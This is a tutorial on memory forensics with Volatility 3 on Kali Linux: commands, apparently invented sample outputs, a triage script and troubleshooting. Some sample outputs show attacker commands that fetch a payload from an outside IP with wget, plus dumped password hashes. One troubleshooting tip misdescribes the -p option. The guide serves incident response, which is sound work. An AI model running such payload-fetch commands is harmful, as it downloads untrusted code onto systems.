Offensive Security Researcher & Quantum Cryptography Analyst

Volatility: Complete Guide to Memory Forensics and RAM Analysis Using Kali Linux

Abdul Wahab Junaid
Volatility: Complete Guide to Memory Forensics and RAM Analysis Using Kali Linux

Volatility is the industry-standard open-source memory forensics framework, used to analyze RAM dumps (memory images) captured from live or compromised systems. Unlike disk forensics, memory forensics captures the “volatile” state of a running system — active processes, network connections, loaded DLLs, encryption keys, injected code, open registry handles, and even malware that never touches the disk. This makes Volatility indispensable for incident response, malware analysis, and advanced threat hunting.

Volatility supports memory images from Windows, Linux, and macOS, and can parse a wide variety of memory dump formats (raw, crash dump, hibernation file, VMware .vmem, virtualbox core dumps, LiME format, and more). Two major versions exist: Volatility 2 (Python 2, plugin-based, uses profiles) and Volatility 3 (Python 3 rewrite, uses automatic symbol-table detection instead of manually specified profiles). Kali Linux ships both, though Volatility 3 is now the actively maintained version.

Key capabilities:

Installation

Volatility 3 (recommended, Kali default):

sudo apt update
sudo apt install volatility3 -y

Verify installation:

vol -h

Manual installation via pip (latest from PyPI):

python3 -m venv vol3-env
source vol3-env/bin/activate
pip install volatility3

Volatility 2 (legacy, still useful for older profiles):

sudo apt install volatility -y

Clone from GitHub for bleeding-edge features:

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pip install -r requirements.txt
python3 vol.py -h

Download symbol tables (Volatility 3 needs these for Windows/Linux/Mac analysis):

mkdir -p ~/.local/share/volatility3/symbols
wget https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip -P ~/.local/share/volatility3/symbols/

Syntax

Volatility 3:

vol -f <memory_image> [plugin_name] [plugin_options]

Volatility 2 (legacy, profile-based):

volatility -f <memory_image> --profile=<ProfileName> <plugin_name> [plugin_options]

Command-Line Options

Global options (Volatility 3):

OptionDescription
-f <file>Path to the memory dump file to analyze
-o <dir>Output directory for extracted files
-r <format>Output format: pretty (default), csv, json
-vVerbose logging
-qQuiet mode
--single-location <url>Specify raw memory location (e.g., file:///path)
-p <path>Additional plugin search path
-s <path>Custom symbol table path

Global options (Volatility 2, legacy):

OptionDescription
-f <file>Memory image file
--profile=<name>OS/version profile (e.g., Win10x64_19041)
-h, --infoList available plugins/profiles
--output=<fmt>Output format (text, sqlite, json)
--output-file=<file>Write output to file

Common plugin-specific options:

PluginOptionDescription
pslist/pstree--pid <pid>Filter by specific process ID
malfind--dumpDump suspicious memory regions to disk
dumpfiles--virtaddr <addr>Dump file object at given virtual address
netscan(none extra)Lists network connections/sockets
hivelist(none extra)Lists registry hive virtual addresses
printkey--key "<path>"Print specific registry key
filescan(none extra)Scans for file objects in memory

Basic Usage

Step 1 — Identify OS information from the memory image:

vol -f memdump.raw windows.info

Expected output:

Variable            Value
Kernel Base         0xf80423c00000
DTB                 0x1aa000
Symbols             file:///.../ntkrnlmp.pdb/...
Is64Bit             True
IsPAE                False
NtBuildLab           19041.1.amd64fre.vb_release

Step 2 — List running processes:

vol -f memdump.raw windows.pslist

Expected output:

PID     PPID    ImageFileName     Offset(V)          Threads  Handles  SessionId   CreateTime
620     592     services.exe      0x8a8f2c9a1080     8        224      N/A         2026-07-18 21:02:11
2044    620     svchost.exe       0x8a8f2f1b2340      12      356      0           2026-07-18 21:02:14

Step 3 — Build process tree:

vol -f memdump.raw windows.pstree

Expected output:

* 4 System
** 620 services.exe
*** 2044 svchost.exe
*** 3312 malicious.exe

Practical Examples with Output

Example 1: OS/kernel info discovery

vol -f memdump.raw windows.info

Output:

Kernel Base    0xf80423c00000
NtBuildLab     19041.1.amd64fre

Example 2: Listing network connections

vol -f memdump.raw windows.netscan

Output:

Offset          Proto   LocalAddr        LocalPort   ForeignAddr      ForeignPort   State        PID   Owner
0x8a8f301122a0  TCPv4   192.168.1.20     49512       45.33.32.156     4444          ESTABLISHED  3312  malicious.exe

Example 3: Detecting injected code with malfind

vol -f memdump.raw windows.malfind --pid 3312

Output:

Process: malicious.exe Pid: 3312 Address: 0x2a0000
Protection: PAGE_EXECUTE_READWRITE

0x2a0000 4d 5a 90 00 03 00 00 00   MZ......
0x2a0008 04 00 00 00 ff ff 00 00   ........

Example 4: Extracting command history

vol -f memdump.raw windows.cmdline

Output:

PID     Process         Args
3312    malicious.exe   C:\Users\victim\AppData\Local\Temp\malicious.exe -c http://45.33.32.156/payload

Example 5: Dumping suspicious process memory to disk

vol -f memdump.raw -o ./dumps windows.malfind --pid 3312 --dump
ls -la ./dumps

Output:

process.0x8a8f2c.0x2a0000.dmp
Total dumped: 1 file, 24576 bytes

Example 6: Registry hive listing

vol -f memdump.raw windows.registry.hivelist

Output:

Offset            FileFullPath
0x8a8f2001c010   \REGISTRY\MACHINE\SYSTEM
0x8a8f2003a020   \REGISTRY\MACHINE\SAM

Example 7: Reading a specific registry key

vol -f memdump.raw windows.registry.printkey --key "Microsoft\Windows\CurrentVersion\Run"

Output:

Key    Microsoft\Windows\CurrentVersion\Run
Value  UpdaterService
Data   C:\Users\victim\AppData\Roaming\updater.exe

Example 8: Extracting file objects from memory

vol -f memdump.raw windows.filescan | grep -i "\.exe"

Output:

0x8a8f302abc10  1  0  R--r-d \Device\HarddiskVolume2\Users\victim\Downloads\malicious.exe

Example 9: Handles enumeration for a suspicious process

vol -f memdump.raw windows.handles --pid 3312

Output:

Offset            PID    HandleValue  Type      Name
0x8a8f30011000    3312   0x88         Mutant    Global\MalwareMutex_v2

Example 10: Linux memory analysis — process listing

vol -f linux_memdump.lime linux.pslist

Output:

OFFSET       PID    TID    PPID   COMM
0xffff9a0c   1421   1421   1      sshd
0xffff9a2e   2201   2201   1421   bash

Example 11: Linux bash history recovery

vol -f linux_memdump.lime linux.bash

Output:

PID   Process   CommandTime               Command
2201  bash      2026-07-18 20:55:01       wget http://45.33.32.156/payload.sh

Example 12: Extracting hashdump for credential analysis

vol -f memdump.raw windows.hashdump

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
victim:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Common Use Cases

Automation with Bash

#!/bin/bash
# volatility_triage.sh - Automated Volatility 3 triage script

MEMDUMP="$1"
OUTDIR="vol_triage_$(date +%Y%m%d_%H%M%S)"

if [ -z "$MEMDUMP" ]; then
    echo "Usage: $0 <memory_dump>"
    exit 1
fi

mkdir -p "$OUTDIR"

echo "[*] Gathering OS info..."
vol -f "$MEMDUMP" windows.info > "$OUTDIR/info.txt"

echo "[*] Listing processes..."
vol -f "$MEMDUMP" windows.pslist > "$OUTDIR/pslist.txt"
vol -f "$MEMDUMP" windows.psscan > "$OUTDIR/psscan.txt"

echo "[*] Comparing pslist vs psscan for hidden processes..."
diff <(awk '{print $1}' "$OUTDIR/pslist.txt") <(awk '{print $1}' "$OUTDIR/psscan.txt") > "$OUTDIR/hidden_candidates.txt"

echo "[*] Scanning network connections..."
vol -f "$MEMDUMP" windows.netscan > "$OUTDIR/netscan.txt"

echo "[*] Running malfind..."
vol -f "$MEMDUMP" windows.malfind > "$OUTDIR/malfind.txt"

echo "[*] Extracting command lines..."
vol -f "$MEMDUMP" windows.cmdline > "$OUTDIR/cmdline.txt"

echo "[*] Triage complete. Results saved in $OUTDIR/"

Run:

chmod +x volatility_triage.sh
./volatility_triage.sh memdump.raw

Tips and Best Practices

  1. Always work on a copy of the memory dump; hash the original with SHA256 immediately after acquisition.
  2. Use Volatility 3 for modern OS versions — it auto-detects symbols and doesn’t require manual profile creation like Volatility 2.
  3. Cross-reference pslist, psscan, and pstree to detect hidden or terminated-but-resident processes.
  4. Always run malfind early — it’s one of the fastest ways to spot obviously malicious injected code.
  5. Combine memory analysis with disk/timeline analysis (Sleuth Kit/Autopsy) for a complete incident picture.
  6. Use --dump options carefully — dumped memory regions may contain executable code; analyze them in an isolated sandbox.
  7. Keep symbol tables updated for accurate Windows/Linux/Mac kernel structure parsing.
  8. Document every plugin run and its output — memory evidence is highly time-sensitive and non-reproducible once the system is powered off.

Troubleshooting

ProblemCauseSolution
“Unable to validate the plugin requirements”Missing or mismatched symbol tableDownload correct symbol ISF file for the target OS build
vol command not foundVolatility 3 not installed or not in PATHsudo apt install volatility3 or activate the virtualenv
Plugin runs extremely slowlyLarge memory dump, disk I/O bottleneckCopy dump to SSD, increase available RAM, or use -p to limit plugin scope
“No suitable address space mapping found”Corrupt/incomplete memory dumpRe-acquire the memory dump; verify hash of acquisition tool output
Volatility 2 “Please specify a profile”No profile detected/set for older OS versionsRun imageinfo plugin to identify or manually specify with --profile=
Empty malfind output on known-infected imageMalware not using classic injection techniquesTry hollowfind, ldrmodules, or apihooks plugins for stealthier techniques
Symbol download failsNetwork restrictions/firewallManually download ISF symbol packs and place in ~/.local/share/volatility3/symbols/

References

Exit mobile version